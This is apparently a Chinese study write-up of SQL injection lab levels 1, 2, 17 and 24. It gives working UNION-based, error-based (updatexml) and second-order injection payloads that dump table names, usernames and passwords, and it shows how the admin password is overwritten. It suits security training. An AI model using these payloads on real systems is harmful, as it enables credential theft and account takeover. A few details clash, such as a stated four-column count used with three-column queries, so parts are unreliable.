1.
后面加上 ?id=1 and 1=1页面正常
?id=1 and 1=2页面依旧正常,说明此处为字符注入
加单双引号判断注入点,单引号有报错,双引号没有报错说明注入点在id=1后,用单引号分隔然后确定列数
使用?id=1' order by 1--+,从1开始逐渐递增,报错时停止。
可知一共有四列
查库名 ?id=1'and updatexml(1,concat('~',(database()),'~'),1)--+
查此数据库的信息 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
查看user表中的密码这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
2.
?id=1 and 1=1--+
?id=1 and 1=2--+
找到注入点,类型为数字
?id=1 order by 1
共有三列
查找当前使用的数据库的名称
?id=0 union select 1,database(),database()
查询所有的表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')
查看user表中的列名
?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
查看user表中的username这一列的值
?id=0 union select 1,(select group_concat(username) from users),(select group_concat(username) from users)
查看user表中的密码这一列的值
?id=0 union select 1,(select group_concat(password) from users),(select group_concat(password) from users)
17.
判断数据库名'or updatexml(1,concat(0x7e,database(),0x7e),1)-- +
在密码行使用报错注入
判断数据库名
查询表名 'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)-- +
24.
mysql_real_escape_string转意防注入的函数
只有注册账号没有写此函数,因此从注册账号处注入
先注册账户名admin‘,密码123
然后修改账户admin’123的密码,实际上修改的是账户admin的密码,‘被过滤了
修改完后直接用修改好的账号登录就行